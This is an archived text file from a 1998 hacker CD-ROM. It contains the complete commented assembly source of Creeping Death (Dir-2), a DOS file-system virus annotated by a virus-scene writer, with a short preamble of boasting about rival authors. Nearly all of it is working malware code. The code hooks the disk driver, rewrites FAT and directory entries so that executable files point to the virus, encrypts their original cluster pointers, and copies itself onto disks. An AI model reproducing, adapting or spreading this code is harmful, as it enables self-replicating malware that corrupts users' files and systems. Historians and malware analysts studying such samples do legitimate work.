home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / dir_2.asm / text0000.txt < prev   
Encoding:
Text File  |  2003-06-11  |  29.5 KB  |  580 lines

  1.  
  2.  
  3.     This is the source to Creeping Death aka Dir-2, commented by Dark
  4. Angel of Phalcon/Skism.  Despite the fact that it was written in Bulgaria,
  5. I'm sure ol' Zepistotle will claim to have written this virus as well, as
  6. he did the Jackal virus (written by Priest) in an earlier post, and the 
  7. Max (written by Memory lapse) and Tremor (written by Neurobasher) viruses
  8. on IRC (Thanks a lot, qark. ;)  By the way Zep, we are all still waiting 
  9. for the Tremor source you said you'd post in your chastising rant about
  10. the unexecuteable Tremor disassembly posted by ScottJP.
  11.  
  12. Cheers,
  13. The Clairvoyant.
  14.  
  15. ------------------------------------------------------------------------------
  16. ; Dark Angel's comments: I spent my entire waking hours looking at this virus.
  17. ;                        I love it.  It is my life.  I worship the drive it
  18. ;                        infects.  Take a look at it.  Let not my troubles be
  19. ;                        in vain.  Why did I do this?  I sacrifice my life for
  20. ;                        the benefit of 40Hex.  If you don't read this, I'm
  21. ;                        gonna go join [NuKE].
  22.  
  23. ;        Creeping Death  V 1.0
  24. ;
  25. ;        (C) Copyright 1991 by VirusSoft Corp.
  26.  
  27. i13org    =    5f8h
  28. i21org    =    5fch
  29.  
  30. dir_2   segment byte public
  31.         assume  cs:dir_2, ds:dir_2
  32.  
  33.         org   100h
  34.  
  35. start:
  36.          mov   sp,600h                          ; Set up the stack pointer
  37.          inc   word ptr counter                 ; Generation counter
  38.          xor   cx,cx
  39.          mov   ds,cx                            ; DS points to interrupt table
  40.          lds   ax, ds:[0c1h]                    ; Find interrupt 30h
  41.          add   ax,21h                           ; Change it to Int 21h
  42.          push  ds                               ; Save it on stack for use by
  43.          push  ax                               ; subroutine "jump"
  44.          mov   ah,30h                           ; Get DOS version
  45.          call  jump
  46.          cmp   al,4                             ; DOS 4.X+ : SI = 0
  47.          sbb   si,si                            ; DOS 2/3  : SI = -1
  48.          mov   byte ptr [drive+2],byte ptr -1   ; Initialise last drive to
  49.                                                 ; "never accessed"
  50.          mov   bx,60h                           ; Adjust memory in ES to
  51.          mov   ah,4ah                           ; BX paragraphs.
  52.          call  jump
  53.  
  54.          mov   ah,52h                           ; Get DOS List of Lists
  55.          call  jump                             ; to ES:BX
  56.          push  es:[bx-2]                        ; Save Segment of first MCB
  57.          lds   bx,es:[bx]                       ; DS:BX -> 1st DPB
  58.                                                 ;  (Drive parameter block)
  59. search:  mov   ax,[bx+si+15h]                   ; Get segment of device driver
  60.          cmp   ax,70h                           ; Is it CONFIG? (I think)
  61.          jne   next                             ; If not, try again
  62.          xchg  ax,cx                            ; Move driver segment to CX
  63.          mov   [bx+si+18h],byte ptr -1          ; Flag block must be rebuilt
  64.          mov   di,[bx+si+13h]                   ; Save offset of device driver
  65.                                                 ; Original device driver
  66.                                                 ; address in CX:DI
  67.          mov   [bx+si+13h],offset header        ; Replace with our own
  68.          mov   [bx+si+15h],cs                   ;  (header)
  69. next:    lds   bx,[bx+si+19h]                   ; Get next device block
  70.          cmp   bx,-1                            ; Is it the last one?
  71.          jne   search                           ; If not, search it
  72.          jcxz  install
  73.  
  74.          pop   ds                               ; Restore segment of first
  75.          mov   ax,ds                            ; MCB
  76.          add   ax,ds:[3]                        ; Go to next MCB
  77.          inc   ax                               ; AX = segment next MCB
  78.          mov   dx,cs                            ; DX = MCB owning current
  79.          dec   dx                               ;      program
  80.          cmp   ax,dx                            ; Are these the same?
  81.          jne   no_boot                          ; If not, we are not currently
  82.                                                 ; in the middle of a reboot
  83.          add   word ptr ds:[3],61h              ; Increase length owned by
  84.                                                 ; MCB by 1552 bytes
  85. no_boot: mov   ds,dx                            ; DS = MCB owning current
  86.                                                 ; program
  87.          mov   word ptr ds:[1],8                ; Set owner = DOS
  88.  
  89.          mov   ds,cx                            ; DS = segment of original
  90.                                                 ;      device driver
  91.          les   ax,[di+6]                        ; ES = offset int handler
  92.                                                 ; AX = offset strategy entry
  93.          mov   word ptr cs:str_block,ax         ; Save entry point
  94.          mov   word ptr cs:int_block,es         ; And int block for use in
  95.                                                 ; function _in
  96.          cld                                    ; Scan for the write
  97.          mov   si,1                             ; function in the
  98. scan:    dec   si                               ; original device driver
  99.          lodsw
  100.          cmp   ax,1effh
  101.          jne   scan
  102.          mov   ax,2cah                          ; Wicked un-yar place o'
  103.          cmp   [si+4],ax                        ; doom.
  104.          je    right
  105.          cmp   [si+5],ax
  106.          jne   scan
  107. right:   lodsw
  108.          push  cs
  109.          pop   es
  110.          mov   di,offset modify+1               ; Save address of patch
  111.          stosw                                  ; area so it can be changed
  112.          xchg  ax,si                            ; later.
  113.          mov   di,offset i13org                 ; This is in the stack, but
  114.          cli                                    ; it is used by "i13pr"
  115.          movsw
  116.          movsw
  117.  
  118.          mov   dx,0c000h                        ; Scan for hard disk ROM
  119.                                                 ; Start search @ segment C000h
  120. fdsk1:   mov   ds,dx                            ; Load up the segment
  121.          xor   si,si                            ; atart at offset 0000h
  122.          lodsw                                  ; Scan for the signature
  123.          cmp   ax,0aa55h                        ; Is it the signature?
  124.          jne   fdsk4                            ; If not, change segment
  125.          cbw                                    ; clear AH
  126.          lodsb                                  ; load a byte to AL
  127.          mov   cl,9
  128.          sal   ax,cl                            ; Shift left, 0 filled
  129. fdsk2:   cmp   [si],6c7h
  130.          jne   fdsk3
  131.          cmp   word ptr [si+2],4ch
  132.          jne   fdsk3
  133.          push  dx                               ; Save the segment
  134.          push  [si+4]                           ; and offset on stack
  135.          jmp   short death                      ; for use by i13pr
  136.  
  137. install: int   20h
  138. file:    db    "c:",255,0
  139. fdsk3:   inc   si                               ; Increment search offset
  140.          cmp   si,ax                            ; If we are not too high,
  141.          jb    fdsk2                            ; try again
  142. fdsk4:   inc   dx                               ; Increment search segment
  143.          cmp   dh,0f0h                          ; If we are not in high
  144.          jb    fdsk1                            ; memory, try again
  145.  
  146.          sub   sp,4                             ; effectively push dummy vars.
  147. death:   push  cs                               ; on stack for use by i13pr
  148.          pop   ds
  149.          mov   bx,ds:[2ch]                      ; Get environment from PSP
  150.          mov   es,bx
  151.          mov   ah,49h                           ; Release it (to save memory)
  152.          call  jump
  153.          xor   ax,ax
  154.          test  bx,bx                            ; Is BX = 0?
  155.          jz    boot                             ; If so, we are booting now
  156.          mov   di,1                             ; and not running a file
  157. seek:    dec   di                               ; Search for end of
  158.          scasw                                  ; the environment block
  159.          jne   seek
  160.          lea   si,[di+2]                        ; SI points to filename
  161.          jmp   short exec                       ; (in DOS 3.X+)
  162.                                                 ; Execute that file
  163. boot:    mov   es,ds:[16h]                      ; get PSP of parent
  164.          mov   bx,es:[16h]                      ; get PSP of parent
  165.          dec   bx                               ; go to its MCB
  166.          xor   si,si
  167. exec:    push  bx
  168.          mov   bx,offset param                  ; Set up parameter block
  169.                                                 ; for EXEC function
  170.          mov   [bx+4],cs                        ; segment to command line
  171.          mov   [bx+8],cs                        ; segment to 1st FCB
  172.          mov   [bx+12],cs                       ; segment to 2nd FCB
  173.          pop   ds
  174.          push  cs
  175.          pop   es
  176.  
  177.          mov   di,offset f_name
  178.          push  di                               ; Save filename offset
  179.          mov   cx,40                            ; Copy the filename to
  180.          rep   movsw                            ; the buffer
  181.          push  cs
  182.          pop   ds
  183.  
  184.          mov   ah,3dh                           ; Handle open file
  185.          mov   dx,offset file                   ; "c: ",0
  186.          call  jump
  187.          pop   dx                               ; DS:DX -> filename
  188.  
  189.          mov   ax,4b00h                         ; Load and Execute
  190.          call  jump                             ; ES:BX = param block
  191.          mov   ah,4dh                           ; Get errorlevel
  192.          call  jump
  193.          mov   ah,4ch                           ; Terminate
  194.  
  195. jump:    pushf                                  ; Simulate an interrupt 21h
  196.          call  dword ptr cs:[i21org]
  197.          ret
  198.  
  199.  
  200. ;--------Installation complete
  201.  
  202. i13pr:   mov   ah,3                             ; Write AL sectors from ES:BX
  203.          jmp   dword ptr cs:[i13org]            ; to track CH, sector CL,
  204.                                                 ; head DH, drive DL
  205.  
  206.  
  207. main:    push  ax            ; driver
  208.          push  cx            ; strategy block
  209.          push  dx
  210.          push  ds
  211.          push  si
  212.          push  di
  213.  
  214.          push  es                               ; Move segment of parameter
  215.          pop   ds                               ; block to DS
  216.          mov   al,[bx+2]                        ; [bx+2] holds command code
  217.  
  218.          cmp   al,4                             ; Input (read)
  219.          je    input
  220.          cmp   al,8                             ; Output (write)
  221.          je    output
  222.          cmp   al,9                             ; Output (write) with verify
  223.          je    output
  224.  
  225.          call  in_                              ; Call original device
  226.          cmp   al,2                             ; Request build BPB
  227.          jne   ppp                              ; If none of the above, exit
  228.          lds   si,[bx+12h]                      ; DS:SI point to BPB table
  229.          mov   di,offset bpb_buf                ; Replace old pointer with
  230.          mov   es:[bx+12h],di                   ; a pointer to our own
  231.          mov   es:[bx+14h],cs                   ; BPB table
  232.          push  es                               ; Save segment of parameters
  233.          push  cs
  234.          pop   es
  235.          mov   cx,16                            ; Copy the old BPB table to
  236.          rep   movsw                            ; our own
  237.          pop   es                               ; Restore parameter segment
  238.          push  cs
  239.          pop   ds
  240.          mov   al,[di+2-32]                     ; AL = sectors per allocation
  241.          cmp   al,2                             ;      unit.  If less than
  242.          adc   al,0                             ;      2, increment
  243.          cbw                                    ; Extend sign to AH (clear AH)
  244.          cmp   word ptr [di+8-32],0             ; Is total number sectors = 0?
  245.          je    m32                              ; If so, big partition (>32MB)
  246.          sub   [di+8-32],ax                     ; Decrease space of disk by
  247.                                                 ; one allocation unit(cluster)
  248.          jmp   short ppp                        ; Exit
  249. m32:     sub   [di+15h-32],ax                   ; Handle large partitions
  250.          sbb   word ptr [di+17h-32],0
  251.  
  252. ppp:     pop   di
  253.          pop   si
  254.          pop   ds
  255.          pop   dx
  256.          pop   cx
  257.          pop   ax
  258. rts:     retf                                   ; We are outta here!
  259.  
  260. output:  mov   cx,0ff09h
  261.          call  check                            ; is it a new disk?
  262.          jz    inf_sec                          ; If not, go away
  263.          call  in_                              ; Call original device handler
  264.          jmp   short inf_dsk
  265.  
  266. inf_sec: jmp   _inf_sec
  267. read:    jmp   _read
  268. read_:   add   sp,16                            ; Restore the stack
  269.          jmp   short ppp                        ; Leave device driver
  270.  
  271. input:   call  check                            ; Is it a new disk?
  272.          jz    read                             ; If not, leave
  273. inf_dsk: mov   byte ptr [bx+2],4                ; Set command code to READ
  274.          cld
  275.          lea   si,[bx+0eh]                      ; Load from buffer address
  276.          mov   cx,8                             ; Save device driver request
  277. save:    lodsw                                  ; on the stack
  278.          push  ax
  279.          loop  save
  280.          mov   word ptr [bx+14h],1              ; Starting sector number = 1
  281.                                                 ; (Read 1st FAT)
  282.          call  driver                           ; Read one sector
  283.          jnz   read_                            ; If error, exit
  284.          mov   byte ptr [bx+2],2                ; Otherwise build BPB
  285.          call  in_                              ; Have original driver do the
  286.                                                 ; work
  287.          lds   si,[bx+12h]                      ; DS:SI points to BPB table
  288.          mov   ax,[si+6]                        ; Number root directory entries
  289.          add   ax,15                            ; Round up
  290.          mov   cl,4
  291.          shr   ax,cl                            ; Divide by 16 to find sectors
  292.                                                 ; of root directory
  293.          mov   di,[si+0bh]                      ; DI = sectors/FAT
  294.          add   di,di                            ; Double for 2 FATs
  295.          stc                                    ; Add one for boot record
  296.          adc   di,ax                            ; Add sector size of root dir
  297.          push  di                               ; to find starting sector of
  298.                                                 ; data (and read)
  299.          cwd                                    ; Clear DX
  300.          mov   ax,[si+8]                        ; AX = total sectors
  301.          test  ax,ax                            ; If it is zero, then we have
  302.          jnz   more                             ; an extended partition(>32MB)
  303.          mov   ax,[si+15h]                      ; Load DX:AX with total number
  304.          mov   dx,[si+17h]                      ; of sectors
  305. more:    xor   cx,cx
  306.          sub   ax,di                            ; Calculate FAT entry for last
  307.                                                 ; sector of disk
  308.          sbb   dx,cx
  309.          mov   cl,[si+2]                        ; CL = sectors/cluster
  310.          div   cx                               ; AX = cluster #
  311.          cmp   cl,2                             ; If there is more than 1
  312.          sbb   ax,-1                            ; cluster/sector, add one
  313.          push  ax                               ; Save cluster number
  314.          call  convert                          ; AX = sector number to read
  315.                                                 ; DX = offset in sector AX
  316.                                                 ;      of FAT entry
  317.                                                 ; DI = mask for EOF marker
  318.          mov   byte ptr es:[bx+2],4             ; INPUT (read)
  319.          mov   es:[bx+14h],ax                   ; Starting sector = AX
  320.          call  driver                           ; One sector only
  321. again:   lds   si,es:[bx+0eh]                   ; DS:SI = buffer address
  322.          add   si,dx                            ; Go to FAT entry
  323.          sub   dh,cl                            ; Calculate a new encryption
  324.          adc   dx,ax                            ; value
  325.          mov   word ptr cs:gad+1,dx             ; Change the encryption value
  326.          cmp   cl,1                             ; If there is 0 cluster/sector
  327.          je    small_                           ; then jump to "small_"
  328.          mov   ax,[si]                          ; Load AX with offset of FAT
  329.                                                 ; entry
  330.          and   ax,di                            ; Mask it with value from
  331.                                                 ; "convert" then test to see
  332.                                                 ; if the sector is fine
  333.          cmp   ax,0fff7h                        ; 16 bit reserved/bad
  334.          je    bad
  335.          cmp   ax,0ff7h                         ; 12 bit reserved/bad
  336.          je    bad
  337.          cmp   ax,0ff70h                        ; 12 bit reserved/bad
  338.          jne   ok
  339. bad:     pop   ax                               ; Tried to replicate on a bad
  340.          dec   ax                               ; cluster.  Try again on a
  341.          push  ax                               ; lower one.
  342.          call  convert                          ; Find where it is in the FAT
  343.          jmp   short again                      ; and try once more
  344. small_:  not   di                               ; Reverse mask bits
  345.          and   [si],di                          ; Clear other bits
  346.          pop   ax                               ; AX = cluster number
  347.          push  ax
  348.          inc   ax                               ; Need to do 2 consecutive
  349.          push  ax                               ; bytes
  350.          mov   dx,0fh
  351.          test  di,dx
  352.          jz    here
  353.          inc   dx                               ; Multiply by 16
  354.          mul   dx
  355. here:    or    [si],ax                          ; Set cluster to next
  356.          pop   ax                               ; Restore cluster of write
  357.          call  convert                          ; Calculate buffer offset
  358.          mov   si,es:[bx+0eh]                   ; Go to FAT entry (in buffer)
  359.          add   si,dx
  360.          mov   ax,[si]
  361.          and   ax,di
  362. ok:      mov   dx,di                            ; DI = mask from "convert"
  363.          dec   dx
  364.          and   dx,di                            ; Yerg!
  365.          not   di
  366.          and   [si],di
  367.          or    [si],dx                          ; Set [si] to DI
  368.  
  369.          cmp   ax,dx                            ; Did we change the FAT?
  370.          pop   ax                               ; i.e. Are we already on this
  371.          pop   di                               ; disk?
  372.          mov   word ptr cs:pointer+1,ax         ; Our own starting cluster
  373.          je    _read_                           ; If we didn't infect, then
  374.                                                 ; leave the routine.  Oh
  375.                                                 ; welp-o.
  376.          mov   dx,[si]
  377.          push  ds
  378.          push  si
  379.          call  write                            ; Update the FAT
  380.          pop   si
  381.          pop   ds
  382.          jnz   _read_                           ; Quit if there's an error
  383.          call  driver
  384.          cmp   [si],dx
  385.          jne   _read_
  386.          dec   ax
  387.          dec   ax
  388.          mul   cx                               ; Multiply by sectors/cluster
  389.                                                 ; to find the sector of the
  390.                                                 ; write
  391.          add   ax,di
  392.          adc   dx,0
  393.          push  es
  394.          pop   ds
  395.          mov   word ptr [bx+12h],2              ; Byte/sector count
  396.          mov   [bx+14h],ax                      ; Starting sector #
  397.          test  dx,dx
  398.          jz    less
  399.          mov   word ptr [bx+14h],-1             ; Flag extended partition
  400.          mov   [bx+1ah],ax                      ; Handle the sector of the
  401.          mov   [bx+1ch],dx                      ; extended partition
  402. less:    mov   [bx+10h],cs                      ; Transfer address segment
  403.          mov   [bx+0eh],100h                    ; and the offset (duh)
  404.          call  write                            ; Zopy ourselves!
  405.                                                 ; (We want to travel)
  406. _read_:  std
  407.          lea   di,[bx+1ch]                      ; Restore device driver header
  408.          mov   cx,8                             ; from the stack
  409. load:    pop   ax
  410.          stosw
  411.          loop  load
  412. _read:   call  in_                              ; Call original device handler
  413.  
  414.          mov   cx,9
  415. _inf_sec:
  416.          mov   di,es:[bx+12h]                   ; Bytes/Sector
  417.          lds   si,es:[bx+0eh]                   ; DS:SI = pointer to buffer
  418.          sal   di,cl                            ; Multiply by 512
  419.                                                 ; DI = byte count
  420.          xor   cl,cl
  421.          add   di,si                            ; Go to address in the buffer
  422.          xor   dl,dl                            ; Flag for an infection in
  423.                                                 ; function find
  424.          push  ds
  425.          push  si
  426.          call  find                             ; Infect the directory
  427.          jcxz  no_inf
  428.          call  write                            ; Write it back to the disk
  429.          and   es:[bx+4],byte ptr 07fh          ; Clear error bit in status
  430.                                                 ; word
  431. no_inf:  pop   si
  432.          pop   ds
  433.          inc   dx                               ; Flag for a decryption in
  434.                                                 ; function find
  435.          call  find                             ; Return right information to
  436.                                                 ; calling program
  437.          jmp   ppp
  438.  
  439. ;--------Subroutines
  440.  
  441. find:    mov   ax,[si+8]                        ; Check filename extension
  442.          cmp   ax,"XE"                          ; in directory structure
  443.          jne   com
  444.          cmp   [si+10],al
  445.          je    found
  446. com:     cmp   ax,"OC"
  447.          jne   go_on
  448.          cmp   byte ptr [si+10],"M"
  449.          jne   go_on
  450. found:   test  [si+1eh],0ffc0h ; >4MB           ; Check file size high word
  451.          jnz   go_on                            ; to see if it is too big
  452.          test  [si+1dh],03ff8h ; <2048B         ; Check file size low word
  453.          jz    go_on                            ; to see if it is too small
  454.          test  [si+0bh],byte ptr 1ch            ; Check attribute for subdir,
  455.          jnz   go_on                            ; volume label or system file
  456.          test  dl,dl                            ; If none of these, check DX
  457.          jnz   rest                             ; If not 0, decrypt
  458. pointer: mov   ax,1234h                         ; mov ax, XX modified elsewhere
  459.          cmp   ax,[si+1ah]                      ; Check for same starting
  460.                                                 ; cluster number as us
  461.          je    go_on                            ; If it is, then try another
  462.          xchg  ax,[si+1ah]                      ; Otherwise make it point to
  463.                                                 ; us.
  464. gad:     xor   ax,1234h                         ; Encrypt their starting
  465.                                                 ; cluster
  466.          mov   [si+14h],ax                      ; And put it in area reserved
  467.                                                 ; by DOS for no purpose
  468.          loop  go_on                            ; Try another file
  469. rest:    xor   ax,ax                            ; Disinfect the file
  470.          xchg  ax,[si+14h]                      ; Get starting cluster
  471.          xor   ax,word ptr cs:gad+1             ; Decrypt the starting cluster
  472.          mov   [si+1ah],ax                      ; and put it back
  473. go_on:   db    2eh,0d1h,6                       ; rol cs:[gad+1], 1
  474.          dw    offset gad+1                     ; Change encryption and
  475.          add   si,32                            ; go to next file
  476.          cmp   di,si                            ; If it is not past the end of
  477.          jne   find                             ; the buffer, then try again
  478.          ret                                    ; Otherwise quit
  479.  
  480. check:   mov   ah,[bx+1]                        ; ah = unit code (block device
  481.                                                 ;                 only)
  482. drive:   cmp   ah,-1                            ; cmp ah, XX can change.
  483.                                                 ; Compare with the last call
  484.                                                 ; -1 is just a dummy
  485.                                                 ; impossible value that will
  486.                                                 ; force the change to be true
  487.          mov   byte ptr cs:[drive+2],ah         ; Save this call's drive
  488.          jne   changed                          ; If not the same as last call
  489.                                                 ; media has changed
  490.          push  [bx+0eh]                         ; If it is the same physical
  491.                                                 ; drive, see if floppy has
  492.                                                 ; been changed
  493.          mov   byte ptr [bx+2],1                ; Tell original driver to do a
  494.          call  in_                              ; media check (block only)
  495.          cmp   byte ptr [bx+0eh],1              ; Returns 1 in [bx+0eh] if
  496.          pop   [bx+0eh]                         ; media has not been changed
  497.          mov   [bx+2],al                        ; Restore command code
  498. changed: ret                                    ; CF,ZF set if media has not
  499.                                                 ; been changed, not set if
  500.                                                 ; has been changed or we don't
  501.                                                 ; know
  502. write:   cmp   byte ptr es:[bx+2],8             ; If we want OUTPUT, go to
  503.          jae   in_                              ; original device handler
  504.                                                 ; and return to caller
  505.          mov   byte ptr es:[bx+2],4             ; Otherwise, request INPUT
  506.          mov   si,70h
  507.          mov   ds,si                            ; DS = our segment
  508. modify:  mov   si,1234h                         ; Address is changed elsewhere
  509.          push  [si]
  510.          push  [si+2]
  511.          mov   [si],offset i13pr
  512.          mov   [si+2],cs
  513.          call  in_                              ; Call original device handler
  514.          pop   [si+2]
  515.          pop   [si]
  516.          ret
  517.  
  518. driver:  mov   word ptr es:[bx+12h],1           ; One sector
  519. in_:                                            ; in_ first calls the strategy
  520.                                                 ; of the original device
  521.                                                 ; driver and then calls the
  522.                                                 ; interrupt handler
  523.          db    09ah                             ; CALL FAR PTR
  524. str_block:
  525.          dw    ?,70h                            ; address
  526.          db    09ah                             ; CALL FAR PTR
  527. int_block:
  528.          dw    ?,70h                            ; address
  529.          test  es:[bx+4],byte ptr 80h           ; Was there an error?
  530.          ret
  531.  
  532. convert: cmp   ax,0ff0h                         ; 0FFF0h if 12 bit FAT
  533.          jae   fat_16                           ; 0FF0h = reserved cluster
  534.          mov   si,3                             ; 12 bit FAT
  535.          xor   word ptr cs:[si+gad-1],si        ; Change the encryption value
  536.          mul   si                               ; Multiply by 3 and
  537.          shr   ax,1                             ; divide by 2
  538.          mov   di,0fffh                         ; Mark it EOF (low 12 bits)
  539.          jnc   cont                             ; if it is even, continue
  540.          mov   di,0fff0h                        ; otherwise, mark it EOF (high
  541.          jmp   short cont                       ; 12 bits) and then continue
  542. fat_16:  mov   si,2                             ; 16 bit FAT
  543.          mul   si                               ; Double cluster #
  544.          mov   di,0ffffh                        ; Mark it as end of file
  545. cont:    mov   si,512
  546.          div   si                               ; AX = sector number
  547.                                                 ; (relative to start of FAT)
  548.                                                 ; DX = offset in sector AX
  549. header:  inc   ax                               ; Increment AX to account for
  550.          ret                                    ; boot record
  551.  
  552. counter: dw    0
  553.  
  554.          dw    842h                             ; Attribute
  555.                                                 ;  Block device
  556.                                                 ;  DOS 3 OPEN/CLOSE removable
  557.                                                 ;        media calls supported
  558.                                                 ;  Generic IOCTL call supported
  559.                                                 ; Supports 32 bit sectors
  560.          dw    offset main                      ; Strategy routine
  561.          dw    offset rts                       ; Interrupt routine (rtf)
  562.          db    7fh                              ; Number of subunits supported
  563.                                                 ; by this driver.  Wow, lookit
  564.                                                 ; it -- it's so large and juicy
  565.  
  566. ; Parameter block format:
  567. ; 0  WORD Segment of environment
  568. ; 2 DWORD pointer to command line
  569. ; 6 DWORD pointer to 1st default FCB
  570. ;10 DWORD pointer to 2nd default FCB
  571. param:   dw    0,80h,?,5ch,?,6ch,?
  572.  
  573. bpb_buf: db    32 dup(?)
  574. f_name:  db    80 dup(?)
  575.  
  576. ;--------The End.
  577. dir_2   ends
  578.         end     start
  579.  
  580.